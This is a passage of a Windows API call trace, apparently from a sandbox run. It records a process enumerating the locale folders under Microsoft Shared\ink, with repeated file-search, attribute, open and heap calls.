Files\\Common Files\\Microsoft Shared\\ink\\sk-SK\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e9100 [0047.149] FindClose (in: hFindFile=0x2e9040 | out: hFindFile=0x2e9040) returned 1 [0047.149] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0047.149] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe526d67f, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe54f4dac, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe54f4dac, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0047.150] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe526d67f, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe54f4dac, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe54f4dac, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0047.150] GetLastError () returned 0x12 [0047.150] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed500) returned 1 [0047.150] FindClose (in: hFindFile=0x2e9100 | out: hFindFile=0x2e9100) returned 1 [0047.150] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ddc90) returned 1 [0047.150] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed610) returned 1 [0047.150] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sl-SI", cAlternateFileName="")) returned 1 [0047.150] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed610 [0047.150] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\sl-SI" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\sl-si"), fInfoLevelId=0x0, lpFileInformation=0x119ee50 | out: lpFileInformation=0x119ee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0047.150] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\sl-SI" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\sl-si"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x16c [0047.150] SetFileTime (hFile=0x16c, lpCreationTime=0x0, lpLastAccessTime=0x119ee94, lpLastWriteTime=0x119ee94) returned 0 [0047.150] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x9e62a8 [0047.150] DeviceIoControl (in: hDevice=0x16c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x9e62a8, nOutBufferSize=0x4000, lpBytesReturned=0x119eeec, lpOverlapped=0x0 | out: lpOutBuffer=0x9e62a8, lpBytesReturned=0x119eeec, lpOverlapped=0x0) returned 0 [0047.150] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9e62a8) returned 1 [0047.150] NtClose (Handle=0x16c) returned 0x0 [0047.150] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed610) returned 1 [0047.150] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed610 [0047.151] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed500 [0047.151] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed588 [0047.151] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\sl-SI\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e9100 [0047.151] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0047.151] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe92d84cc, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe94ed7e2, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe94ed7e2, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0047.151] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0047.151] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0047.151] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0047.151] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0047.151] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0047.151] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9ddc90 [0047.151] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed500) returned 1 [0047.151] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x9e5738 [0047.151] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9e5420 [0047.151] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0047.151] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe92d84cc, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe94ed7e2, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe94ed7e2, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0047.151] GetLastError () returned 0x12 [0047.151] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\sl-SI\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e9040 [0047.151] FindClose (in: hFindFile=0x2e9100 | out: hFindFile=0x2e9100) returned 1 [0047.151] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0047.151] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe92d84cc, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe94ed7e2, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe94ed7e2, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0047.151] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe92d84cc, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe94ed7e2, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe94ed7e2, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0047.151] GetLastError () returned 0x12 [0047.151] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed588) returned 1 [0047.152] FindClose (in: hFindFile=0x2e9040 | out: hFindFile=0x2e9040) returned 1 [0047.152] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ddc90) returned 1 [0047.152] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed610) returned 1 [0047.152] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sr-Latn-CS", cAlternateFileName="")) returned 1 [0047.152] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed610 [0047.152] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\sr-Latn-CS" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\sr-latn-cs"), fInfoLevelId=0x0, lpFileInformation=0x119ee50 | out: lpFileInformation=0x119ee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0047.152] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\sr-Latn-CS" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\sr-latn-cs"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x160 [0047.152] SetFileTime (hFile=0x160, lpCreationTime=0x0, lpLastAccessTime=0x119ee94, lpLastWriteTime=0x119ee94) returned 0 [0047.152] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x9e62a8 [0047.152] DeviceIoControl (in: hDevice=0x160, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x9e62a8, nOutBufferSize=0x4000, lpBytesReturned=0x119eeec, lpOverlapped=0x0 | out: lpOutBuffer=0x9e62a8, lpBytesReturned=0x119eeec, lpOverlapped=0x0) returned 0 [0047.152] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9e62a8) returned 1 [0047.152] NtClose (Handle=0x160) returned 0x0 [0047.152] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed610) returned 1 [0047.152] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed610 [0047.152] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed588 [0047.152] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0047.152] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\sr-Latn-CS\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e9040 [0047.153] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0047.153] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe3f3c6a2, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe4177b15, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe4177b15, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0047.153] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed500 [0047.153] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed500) returned 1 [0047.153] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed500 [0047.153] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed500) returned 1 [0047.153] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed500 [0047.153] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9ddc90 [0047.153] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed588) returned 1 [0047.153] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x9e5758 [0047.153] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9e1758 [0047.153] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed500) returned 1 [0047.153] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe3f3c6a2, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe4177b15, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe4177b15, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0047.153] GetLastError () returned 0x12 [0047.153] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\sr-Latn-CS\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e9100 [0047.153] FindClose (in: hFindFile=0x2e9040 | out: hFindFile=0x2e9040) returned 1 [0047.153] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0047.153] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe3f3c6a2, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe4177b15, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe4177b15, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0047.153] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe3f3c6a2, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe4177b15, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe4177b15, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0047.153] GetLastError () returned 0x12 [0047.153] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0047.153] FindClose (in: hFindFile=0x2e9100 | out: hFindFile=0x2e9100) returned 1 [0047.153] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ddc90) returned 1 [0047.154] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed610) returned 1 [0047.154] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sv-SE", cAlternateFileName="")) returned 1 [0047.154] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed610 [0047.154] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\sv-SE" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\sv-se"), fInfoLevelId=0x0, lpFileInformation=0x119ee50 | out: lpFileInformation=0x119ee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0047.161] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\sv-SE" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\sv-se"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x16c [0047.161] SetFileTime (hFile=0x16c, lpCreationTime=0x0, lpLastAccessTime=0x119ee94, lpLastWriteTime=0x119ee94) returned 0 [0047.161] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x9e62a8 [0047.161] DeviceIoControl (in: hDevice=0x16c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x9e62a8, nOutBufferSize=0x4000, lpBytesReturned=0x119eeec, lpOverlapped=0x0 | out: lpOutBuffer=0x9e62a8, lpBytesReturned=0x119eeec, lpOverlapped=0x0) returned 0 [0047.161] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9e62a8) returned 1 [0047.161] NtClose (Handle=0x16c) returned 0x0 [0047.162] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed610) returned 1 [0047.162] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed610 [0047.162] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0047.162] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed500 [0047.162] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\sv-SE\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e9100 [0047.162] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0047.162] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe779eb51, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe79d9fc4, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe79d9fc4, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0047.162] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed588 [0047.162] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed588) returned 1 [0047.162] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed588 [0047.162] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed588) returned 1 [0047.162] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed588 [0047.162] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9ddc90 [0047.162] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0047.162] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x9e5778 [0047.162] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9e1650 [0047.162] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed588) returned 1 [0047.162] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe779eb51, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe79d9fc4, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe79d9fc4, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0047.162] GetLastError () returned 0x12 [0047.162] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\sv-SE\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e9040 [0047.162] FindClose (in: hFindFile=0x2e9100 | out: hFindFile=0x2e9100) returned 1 [0047.162] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0047.162] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe779eb51, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe79d9fc4, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe79d9fc4, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0047.162] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe779eb51, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe79d9fc4, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe79d9fc4, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0047.163] GetLastError () returned 0x12 [0047.163] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed500) returned 1 [0047.163] FindClose (in: hFindFile=0x2e9040 | out: hFindFile=0x2e9040) returned 1 [0047.163] RtlFreeHeap (HeapHandle=0x940000, 